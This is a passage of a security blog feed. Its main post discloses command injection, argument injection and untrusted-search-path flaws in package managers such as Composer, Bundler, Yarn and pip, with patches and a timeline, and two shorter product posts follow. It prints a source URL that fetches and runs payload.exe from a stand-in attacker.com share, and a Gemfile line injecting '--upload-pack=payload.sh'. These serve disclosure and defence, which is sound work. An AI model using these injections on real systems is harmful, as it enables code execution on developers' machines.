fixed)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The attacks that we describe can happen in two different scenarios. In both of them, the victim is required to handle malicious files or packages with one of the mentioned package managers. This means that an attack cannot be launched directly against a developer machine from remote and requires that the developer is tricked into loading malformed files. But can you always know and trust the owners of all packages that you use from the internet or company-internal repositories?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the first scenario, an attacker would publish a malicious package and then make the victim use Composer&amp;#x27;s browse command with that package name. This could for example happen via Social Engineering, Typo Squatting, or Dependency Confusion. We discovered a Command Injection vulnerability in Composer that falls into this scenario. Malicious packages have been used in other kinds of attacks in the past, for example, the popular JavaScript package &amp;quot;ua-parser-js&amp;quot; &lt;a href=&quot;https://www.securityweek.com/critical-severity-warning-malware-embedded-popular-javascript-library&quot;&gt;has been infected with malicious code&lt;/a&gt; last year.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The second scenario requires the victim to first download attacker-controlled files and then use one of the vulnerable package managers on these files. This requires the attacker to use social engineering or to sneak malicious files into a codebase that the victim trusts. We discovered Argument Injection and Untrusted Search Path issues that fall into this scenario. In 2021, a similar attack vector &lt;a href=&quot;https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/&quot;&gt;has been used to target security researchers&lt;/a&gt;. Under the pretext of wanting to collaborate on a project, attackers used fake Twitter accounts to send Visual Studio projects to their victims which would execute malware when opened.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If any of these attacks succeed, the attacker can run any commands on the victim&amp;#x27;s machine. They could for example steal or modify sensitive data such as source code or access tokens, allowing the attacker to put backdoors or malware into code or to infect other systems that the victim has access to.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In the following sections, we will explain 3 different types of vulnerabilities that we found in several of the most popular package managers; we believe that these types are prevalent among package managers and this research can be applied to any new target. We start with a Command Injection vulnerability that could be used by attackers who publish a malicious package. Then we take a look at Argument Injections and Untrusted Search Path vulnerabilities that could be used to trick victims into executing malicious code.&lt;/p&gt;&lt;h3&gt;Command Injection in Composer&lt;/h3&gt;&lt;p&gt;Composer, the leading package manager in the PHP ecosystem, is a command-line application that implements several sub-commands, such as &lt;code&gt;status&lt;/code&gt;, &lt;code&gt;install&lt;/code&gt;, and &lt;code&gt;remove&lt;/code&gt;. Another sub-command, &lt;code&gt;browse&lt;/code&gt;, can be used by developers as an easy way of opening a package&amp;#x27;s source and documentation. It requires a package name as its only argument and will then fetch that package&amp;#x27;s metadata and open the URL that is set as the package&amp;#x27;s homepage. This is implemented as follows:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/composer/composer/blob/c44fbbc3ebdfd5b06f092c7de3e27936385bd3e1/src/Composer/Command/HomeCommand.php#L100-L119&quot;&gt;src/Composer/Command/HomeCommand.php&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// [...]
$support = $package-&gt;getSupport();
$url = isset($support[&apos;source&apos;]) ? $support[&apos;source&apos;] : $package-&gt;getSourceUrl();
// [...]

if (!$url || !filter_var($url, FILTER_VALIDATE_URL)) { // ← [1]
    return false;
}

// [...]
$this-&gt;openBrowser($url); // ← [2]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The package’s source field is checked to be a valid URL (at &lt;code&gt;[1]&lt;/code&gt;) and then opened in a browser (at &lt;code&gt;[2]&lt;/code&gt;). The opening mechanism depends on the OS and is implemented just below the previous function:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When the OS is Windows, then the command is &lt;code&gt;start &amp;quot;web&amp;quot; explorer &amp;quot;&amp;lt;url&amp;gt;&amp;quot;&lt;/code&gt;. The URL gets escaped before being inserted into the command string, but the escape function is &lt;em&gt;already&lt;/em&gt; adding double quotes around the value. This leads to a double-wrapping of the URL, resulting in a command like &lt;code&gt;start &amp;quot;web&amp;quot; explorer &amp;quot;&amp;quot;http://example.com/&amp;quot;&amp;quot;&lt;/code&gt;. This causes the value to not be escaped at all within the command string, making it possible to insert more commands, which is called a Command Injection vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To exploit this, an attacker would have to publish a package containing a source URL such as:&lt;br/&gt;&lt;code&gt;http://example.com/&amp;amp;\\attacker.com\Public\payload.exe&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This value fulfills the condition of being a valid URL, at least according to PHP&amp;#x27;s &lt;code&gt;FILTER_VALIDATE_URL&lt;/code&gt;, but leads to arbitrary code execution when a victim uses the browse command with the name of a malicious package. Let&amp;#x27;s say the attacker&amp;#x27;s package is called &lt;code&gt;bad-pkg&lt;/code&gt; and they published it to the Composer registry with the aforementioned source URL. Now if any user runs &lt;code&gt;composer browse bad-pkg&lt;/code&gt;, &lt;code&gt;example.com&lt;/code&gt; would be opened in their browser but also silently in the background &lt;code&gt;payload.exe&lt;/code&gt; would be downloaded from the public SMB share at &lt;code&gt;attacker.com&lt;/code&gt; and executed. This provides the attacker with access to the victim&amp;#x27;s machine and the ability to launch further attacks.&lt;/p&gt;&lt;h3&gt;Argument Injections in Bundler and Poetry&lt;/h3&gt;&lt;p&gt;The previous vulnerability resulted from the insecure creation of a command string from user inputs, which has proven to be an error-prone approach. A generally safer alternative for this is to use an array of arguments instead of a command string, but things can still go wrong with that, as we will learn in this section.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When a package manager tries to download a package, there are multiple possible sources where it can come from. The usual source is the package manager&amp;#x27;s native registry. But most package managers also support installing packages from local file paths or from Git repositories. The latter is usually implemented by invoking a series of Git commands such as &lt;code&gt;git clone&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Git is a complex command-line tool with many options, so there is the possibility of &lt;em&gt;Argument Injections&lt;/em&gt;. This occurs when one of the arguments is supposed to be a positional one, but an attacker can turn it into an optional one. Command-line applications determine if an argument is positional and non-positional by checking if it starts with a dash (&lt;code&gt;-&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s look at Bundler, a package manager in the Ruby ecosystem, as an example. It was vulnerable to this due to the way it invoked Git commands with user-controlled arguments:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def checkout
  # [...]
  configured_uri = configured_uri_for(uri).to_s
  unless path.exist?
    SharedHelpers.filesystem_access(path.dirname) do |p|
      FileUtils.mkdir_p(p)
    end
    git_retry &quot;clone&quot;, configured_uri, path.to_s, &quot;--bare&quot;, &quot;--no-hardlinks&quot;, &quot;--quiet&quot;
    return unless extra_ref
  end
  # [...]
end&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;git_retry&lt;/code&gt; function essentially runs a Git command with the supplied arguments. To keep this example simpler, we will omit the three optional arguments at the end. Normal execution of the &lt;code&gt;checkout&lt;/code&gt; function results in the execution of an OS command like the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;exec(&quot;git&quot;, [&quot;clone&quot;, &quot;https://myrepo.com&quot;, &quot;./destination-dir/&quot;])&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Git goes through this list of arguments, sees that none of them starts with a dash, assumes that all of them are positional arguments, and clones the repository at &lt;code&gt;https://myrepo.com&lt;/code&gt; into the directory &lt;code&gt;./destination-dir/&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But the value of &lt;code&gt;uri&lt;/code&gt; comes from a Gemfile, so this could have been abused by attackers by creating a Gemfile such as the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;gem &apos;poc&apos;, git: &apos;--upload-pack=payload.sh&apos;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Therefore, &lt;code&gt;uri&lt;/code&gt; is &lt;code&gt;--upload-pack=payload.sh&lt;/code&gt;, which will cause &lt;code&gt;git_retry&lt;/code&gt; to run this Git command:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;exec(&quot;git&quot;, [&quot;clone&quot;, &quot;--upload-pack=payload.sh&quot;, &quot;./destination-dir/&quot;])&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It will be understood by Git as &amp;quot;clone the repository at the local path &lt;code&gt;./destination-dir/&lt;/code&gt;, but use &lt;code&gt;payload.sh&lt;/code&gt; for the &lt;code&gt;upload-pack&lt;/code&gt; option&amp;quot;. This leads to the execution of &lt;code&gt;payload.sh&lt;/code&gt;, or any other command that is specified.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Poetry, a package manager in the Python ecosystem, was also vulnerable to the same kind of attack. Many other package managers implemented similar things but were not found to be exploitable during our research due to small differences.&lt;/p&gt;&lt;h3&gt;Untrusted Search Path in Yarn, Pip, Composer, and more&lt;/h3&gt;&lt;p&gt;Again, even if the previous vulnerabilities are avoided by using argument lists instead of command strings and making sure that no unwanted arguments can be injected, there is yet another thing that can go wrong. For this class of vulnerabilities, we have to first understand the difference between Windows and other operating systems in the way it resolves command names to the correct executable.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When a command is executed with a relative or absolute path, then there is no need to resolve anything, as the path is already known. However, if the command is only a name, it is the operating system&amp;#x27;s job to find and run the correct binary file that matches this name. On all major OSes, the possible locations are set in the &lt;code&gt;PATH&lt;/code&gt; environment variable. It contains all the paths in which the system will look for an executable matching the name of the command. This behavior is consistent across all major operating systems, but Windows considers one additional location: the current working directory. It will look for the executable there &lt;em&gt;before&lt;/em&gt; all other locations and only use the &lt;code&gt;PATH&lt;/code&gt; &lt;em&gt;afterward&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example, if there is a file named &lt;code&gt;notepad.exe&lt;/code&gt; in the current directory and the user starts a program that will execute the command &lt;code&gt;notepad %localappdata%\Temp\test.txt&lt;/code&gt;, then the local &lt;code&gt;notepad.exe&lt;/code&gt; will be executed instead of the regular notepad executable located at &lt;code&gt;C:\Windows\system32\notepad.exe&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is a Windows quirk that many developers do not know about and it has &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=untrusted+search+path&quot;&gt;led to many vulnerabilities in the past&lt;/a&gt;. Whenever a program executes a command by name but does not ensure that the &lt;code&gt;PATH&lt;/code&gt; and the files in the current directory are safe, it creates an &lt;em&gt;Untrusted Search Path&lt;/em&gt; (CWE-426) vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As discussed before, many package managers allow referencing packages from Git repositories instead of their native registries. Because checking out Git repositories requires some complex work under the hood, these package managers do not implement that themselves but simply run Git commands that will do the job for them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Looking at Yarn, a popular package manager in the JavaScript ecosystem, the declaration of a dependency from a Git repository would result in a &lt;code&gt;package.json&lt;/code&gt; file like the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{
  &quot;dependencies&quot;: {
    &quot;example&quot;: &quot;git+https://github.com/example/example&quot;
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When running &lt;code&gt;yarn install&lt;/code&gt;, Yarn will download the &lt;code&gt;example&lt;/code&gt; package from GitHub via Git. Internally, it will use the command &lt;code&gt;git clone git+&lt;/code&gt;&lt;a href=&quot;https://github.com/example/example&quot;&gt;https://github.com/example/example&lt;/a&gt; for that. Note that Git is called by name and not with a relative or absolute path, so this creates an Untrusted Search Path vulnerability when the command is executed in a directory that contains untrusted files. If there was a &lt;code&gt;git.exe&lt;/code&gt; file in the directory then it would be executed instead of the installed Git, leading to the execution of malicious code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Of course, handling untrusted files is always dangerous, even if users are extra cautious. Usually, Yarn&amp;#x27;s command-line option &lt;code&gt;--ignore-scripts&lt;/code&gt; prevents the execution of third-party code but it does not help to prevent this kind of attack. The dependency coming from the Git repository can also be a completely legitimate one, as it is only important that it is fetched via Git, not what its contents are.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Several popular package managers were affected by this, namely Yarn, pnpm, Bower, Poetry, Composer, pip, and pipenv. Composer&amp;#x27;s maintainers decided not to fix this because they declare this to be outside of their threat model. Pip and Pipenv also chose not to fix this because according to them there are several other ways that an attacker could gain code execution in the same attack scenario.&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;To avoid &lt;em&gt;Command Injection&lt;/em&gt; vulnerabilities, we recommend only using command strings if really needed. Try to run commands with argument lists instead. If you do need to use a command string, rely on built-in or trusted third-party escaping functions instead of writing your own one. Ensure that no double-wrapping happens as seen in the case of Composer. In PHP, the correct way of escaping shell arguments in a command string is using the &lt;code&gt;escapeshellarg&lt;/code&gt; function:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$process-&gt;execute(&apos;start &quot;web&quot; explorer &apos; . escapeshellarg($url), $output);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To avoid &lt;em&gt;Argument Injections&lt;/em&gt;, make sure that no arguments start with a dash (&lt;code&gt;-&lt;/code&gt;). Do this right before the actual execution of the command and ensure that the argument&amp;#x27;s value is not further modified between the check and the execution, as this has led to bypasses in the past. Note that some Windows applications use a slash (&lt;code&gt;/&lt;/code&gt;) instead of a dash to mark the beginning of an optional argument, so make sure you know how the command you run interprets arguments and adapt any checks accordingly.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An alternative would be to insert &lt;code&gt;--&lt;/code&gt; as a single argument before the user-controlled ones. This acts as a delimiter and tells the program that any following arguments should not be treated as optional ones. Since this is &lt;a href=&quot;https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap12.html#:~:text=Guideline%C2%A010%3A,with%20the%20%27%2D%27%20character.&quot;&gt;defined in the POSIX standard&lt;/a&gt;, make sure that the command is POSIX-compliant because this might not work otherwise. In the case of Bundler, the maintainers used this to fix the vulnerability:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;git_retry &quot;clone&quot;, &quot;--bare&quot;, &quot;--no-hardlinks&quot;, &quot;--quiet&quot;, &quot;--&quot;, configured_uri, path.to_s&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To avoid &lt;em&gt;Untrusted Search Path&lt;/em&gt; vulnerabilities on Windows, it is easiest to run commands in a safe directory if possible. This is how Rust&amp;#x27;s package manager Cargo checks out dependencies that come from Git repositories. If the command must be run in the current directory, you should first resolve the path of the matching executable in a safe way and then run the command with that path.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As an example, Yarn fixed their vulnerability by using the &lt;code&gt;where&lt;/code&gt; command, which is always located at &lt;code&gt;%WINDIR%\System32\where.exe&lt;/code&gt;, to resolve a command. They excluded the current directory by restricting the set of possible locations to the ones defined in the &lt;code&gt;PATH&lt;/code&gt; environment variable. This is a way of implementing it:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const { join } = require(&apos;path&apos;);
const { execFile } = require(&apos;child_process&apos;);

const WHERE_PATH = join(process.env.WINDIR, &apos;System32&apos;, &apos;where.exe&apos;);

async function resolveExecutableOnWindows(name) {
  return new Promise((resolve, reject) =&gt; {
    execFile(WHERE_PATH, [`$PATH:${name}`], (error, stdout, stderr) =&gt; {
      if (error) {
        return reject(error);
      }
      const [ firstMatch ] = stdout.split(&apos;\r\n&apos;);
      resolve(firstMatch);
    });
  });
}&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-09-09&lt;/td&gt;&lt;td&gt;We report the Argument Injection and Untrusted Search Path issues to Yarn, pnpm, Bower, Composer, Bundler, Poetry, pip, and pipenv&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-09-10&lt;/td&gt;&lt;td&gt;pip and pipenv decide not to fix the Untrusted Search Path issue&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-09-13&lt;/td&gt;&lt;td&gt;Composer decides not to fix the Untrusted Search Path issue&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-09-16&lt;/td&gt;&lt;td&gt;pnpm releases a fix in version 6.15.1&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-09-20&lt;/td&gt;&lt;td&gt;Poetry releases a fix in version 1.1.9&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-09-21&lt;/td&gt;&lt;td&gt;We report the Command Injection vulnerability to Composer&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-09-30&lt;/td&gt;&lt;td&gt;Yarn releases a fix in version 1.22.13&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-05&lt;/td&gt;&lt;td&gt;Composer releases a fix for the Command Injection vulnerability in versions 1.10.23 and 2.1.9&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-11-25&lt;/td&gt;&lt;td&gt;Bower releases a fix in version 1.8.13&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-12-09&lt;/td&gt;&lt;td&gt;Bundler releases a fix in version 2.2.33&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post, we presented 3 types of vulnerabilities in popular package managers. We gave examples of how they could be used by attackers to compromise developer machines, we explained the underlying issues with code examples, and we gave suggestions on how to avoid similar issues.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Remember to update all your tools regularly and stay cautious when handling files from unknown sources. We strongly advise against using package managers on untrusted code bases, even with security features like disabling the execution of scripts. Consider all third-party code and files as dangerous and if you really need to handle them, we recommend doing so in disposable virtual machines.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the maintainers of all the projects we reported issues to. They quickly responded to our advisories and fixed the vulnerabilities or took the time to discuss with us why they don&amp;#x27;t see something as a vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Next week&amp;#x27;s blog post will be the second part of this two-part series on developer tools. It will cover Git integrations in terminals and code editors, so don&amp;#x27;t miss it if you want to know how simply &lt;code&gt;cd&lt;/code&gt;-ing into a third-party directory could compromise your system!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-supply-chain-attack-on-composer&quot;&gt;PHP Supply Chain Attack on Composer&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/gocd-vulnerability-chain&quot;&gt;Agent 008: Chaining Vulnerabilities to Compromise GoCD&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/etherpad-code-execution-vulnerabilities&quot;&gt;Etherpad 1.8.13 - Code Execution Vulnerabilities&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[5 things to consider in performance comparisons]]></title><description><![CDATA[When talking about static analysis and/or SAST performance comparisons - or really, comparisons of any kind of performance - what criteria do you consider? Maybe it was fast, but what did it accomplish? Here's what you ought to look at when you compare performance.]]></description><link>https://www.sonarsource.com/blog/5-things-to-consider-in-performance-comparisons</link><guid isPermaLink="false">21046db7-6be8-5f06-b555-410f9d871106</guid><dc:creator><![CDATA[G. Ann Campbell]]></dc:creator><pubDate>Tue, 01 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Most people can probably relate to asking a child to handle a chore, only to have the kid come back way too soon, saying it&amp;#x27;s done. Or maybe you can relate to being that child. Either way, you know what comes next: checking shows the job was handled poorly, and it all goes downhill from there.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It&amp;#x27;s valuable to keep that scenario in mind when people start talking about static analysis and/or SAST performance comparisons - or really, comparisons of any kind of performance. Maybe it was fast, but what did it accomplish? That&amp;#x27;s why I want to talk today about what you ought to look at when you compare performance.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s say you&amp;#x27;re testing SonarQube or SonarCloud because you&amp;#x27;re considering switching tools. You already have a benchmark from the current tool because you&amp;#x27;re using it in production. Now you &amp;quot;just&amp;quot; have to test the new analyzer. Here&amp;#x27;s how to make sure you get the best comparison possible.&lt;/p&gt;&lt;h2&gt;1. Environment&lt;/h2&gt;&lt;p&gt;If you&amp;#x27;re trying to test the analysis speed of one tool against another, you should start with the analysis environment. Are you running both tools on the same (comparable?) machines? Do both processes have the same resources (threads, memory, etc) available? This may sound obvious, but it&amp;#x27;s easy to overlook. &lt;/p&gt;&lt;h2&gt;2. Scope&lt;/h2&gt;&lt;p&gt;Another speed-of-analysis factor is the analysis scope. Are both tools configured to analyze the same set of files? This one can impact both the speed and the quality of analysis. Omit important files and you won&amp;#x27;t get a thorough analysis. Include libraries and other 3rd-party content in the files-to-be-analyzed set, and you&amp;#x27;ll bog down analysis and have too much to wade through when the results come in.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Beyond files, there&amp;#x27;s also a question of operational scope. SonarQube and SonarCloud don&amp;#x27;t just raise issues during analysis. They also calculate metrics such as duplication percentage, and gather SCM data for issue attribution and identification of new code. &lt;/p&gt;&lt;h2&gt;3. Languages&lt;/h2&gt;&lt;p&gt;SonarQube and SonarCloud offer multi-language analysis. By default. There&amp;#x27;s no extra setup or configuration; it just happens. So with SonarCloud and SonarQube you&amp;#x27;re probably getting a broader analysis scope than with your other tools. This broader analysis can impact speed - because more files are analyzed - and obviously results as well.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So if SonarCloud / SonarQube analysis takes a little longer than a specific tool in your benchmark, you should consider how it stacks up against the full set of tools required to replicate the same breadth of results.&lt;/p&gt;&lt;h2&gt;4. Rules&lt;/h2&gt;&lt;p&gt;While we&amp;#x27;re talking about results, we should also talk about rules because they have a big impact too. SonarQube and SonarCloud don&amp;#x27;t just provide multi-language analysis. They provide multi-domain analysis too. So it&amp;#x27;s not &lt;em&gt;just&lt;/em&gt; a security / SAST analysis, or &lt;em&gt;just&lt;/em&gt; quality. SonarCloud and SonarQube find Bugs, Code Smells, Vulnerabilities, and Security Hotspots. That means more rules running at each analysis, finding more issues. Doing all that work may take a little longer - maybe not - but it provides a depth of analysis that&amp;#x27;s important for keeping a codebase clean and safe.&lt;/p&gt;&lt;h2&gt;5. Issues&lt;/h2&gt;&lt;p&gt;So now let&amp;#x27;s talk about results. Everything up to this point has been about speed-related performance: how to make sure speed tests are as fair as possible and what to take into account when evaluating the differences. Now let&amp;#x27;s get to the quality aspect of performance.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In a head-to-head comparison of analyzers - particularly SAST analyzers - a lot of people want to compare raw issue counts and think that tells the whole story. But that&amp;#x27;s like believing the kid who says he got his room clean in 5 minutes. You have to look a little closer to find the truth.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s start by assuming you&amp;#x27;re dealing with comparable rule sets. Then, when the issue counts don&amp;#x27;t match up, and you&amp;#x27;re looking at issues that are missing from one analyzer but reported by the other, the main thing to consider is: are the reports True Positives? For instance, we were asked once about a &amp;quot;missing&amp;quot; &lt;a href=&quot;https://cwe.mitre.org/data/definitions/117.html&quot;&gt;CWE-117&lt;/a&gt; (Improper Output Neutralization for Logs) issue that was raised by another analyzer but not by us. Had we missed it? No, actually. Followup revealed that:&lt;/p&gt;&lt;blockquote&gt;we’ve deliberately disabled raising an issue when HttpServletRequest.getHeader() is coupled with logging. The danger of “log injection” comes from the potential to introduce newline characters that can then be combined with a fake log message to trick someone into inappropriate action. Since HTTP headers can’t contain newlines, there’s no risk in this case.&lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;p&gt;We weren&amp;#x27;t reporting the issue on purpose. In fact, we&amp;#x27;ve done a lot of work to squelch false positives in general, so developers don&amp;#x27;t waste time with them. We&amp;#x27;ve also made a deliberate decision to segregate reporting of vulnerabilities (i.e. something is wrong; this should be fixed) from Security Hotspots (i.e. things could go wrong under certain circumstances and human review is needed). So raw issue counts are rarely likely to tell the whole story.&lt;/p&gt;&lt;h2&gt;Apples to oranges&lt;/h2&gt;&lt;p&gt;Any time you do a comparison you have to be aware of the degree to which you are or are not comparing like items in equivalent environments. There&amp;#x27;s work you can do on the front end to level the playing field and reduce what I&amp;#x27;ll call external differences - making sure analysis scope and resources are the same. And then there are the intrinsic differences that can&amp;#x27;t be &amp;quot;leveled&amp;quot;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In fact, it&amp;#x27;s nearly impossible to do an apples-to-apples comparison of SonarQube or SonarCloud with another analyzer. With our multi-language, multi-domain analysis, we&amp;#x27;re not like any other analyzer on the market. And ignoring those differences overlooks the value our analysis brings.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Review your security vulnerabilities in GitHub with code scanning alerts]]></title><description><![CDATA[We’re happy to announce that SonarCloud integrates with GitHub code scanning! It’s available to everyone with a GitHub repository - private or public - independently of your SonarCloud plan. If you have access to the feature on GiHub and your organization admin already accepted the update for the SonarCloud app permissions, you’re all set! You should be able to start using the feature during your next code review.]]></description><link>https://www.sonarsource.com/blog/review-security-vulnerabilities-with-github-code-scanning</link><guid isPermaLink="false">b42c3434-8a03-5076-842f-581ecac1b5e0</guid><dc:creator><![CDATA[Thomas Olivier]]></dc:creator><pubDate>Thu, 24 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Today, for GitHub repositories, our SAST analysis provides fast, precise security feedback directly inside your pull requests. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You instantly know how many vulnerabilities are detected and, until now, you would systematically go to SonarCloud to start investigating. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not anymore. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;From this point forward, developers can review the list of vulnerabilities from GitHub’s interface, thanks to code scanning.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We’re happy to announce that &lt;strong&gt;&lt;em&gt;SonarCloud integrates with GitHub code scanning&lt;/em&gt;&lt;/strong&gt;! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It’s available to everyone with a GitHub repository - private or public - independently of your SonarCloud plan. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you have access to the feature on GitHub and your organization admin already accepted the update for the SonarCloud app permissions, you’re all set! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You should be able to start using the feature during your next code review. &lt;/p&gt;&lt;h2&gt;GitHub Code Scanning Introduction&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As &lt;a href=&quot;https://github.blog/2020-09-30-code-scanning-is-now-available/&quot;&gt;GitHub describes it&lt;/a&gt;, code scanning is a developer-first, GitHub-native approach to easily find security vulnerabilities before they reach production.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0cf5b6ce-322e-4665-880c-a223fcf384dc/body-3efd5cf1-a3c4-4d8e-b8c5-d7a4bb2f287b_GitHub_CodeScanning.gif&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;GitHub code scanning helps you review and prioritize vulnerabilities during your code review process, in your development workflow. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You don’t systematically have to switch context for your reviews anymore. How convenient!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;GitHub Code scanning is free for public projects or available as a paid option for your private repos with GitHub&amp;#x27;s &lt;a href=&quot;https://docs.github.com/en/get-started/learning-about-github/about-github-advanced-security&quot;&gt;Advanced Security package&lt;/a&gt;. &lt;br/&gt;&lt;/p&gt;&lt;p&gt;The feature is also available in &lt;a href=&quot;https://github.com/enterprise&quot;&gt;GitHub Enterprise&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To access the code scanning alerts, you have two 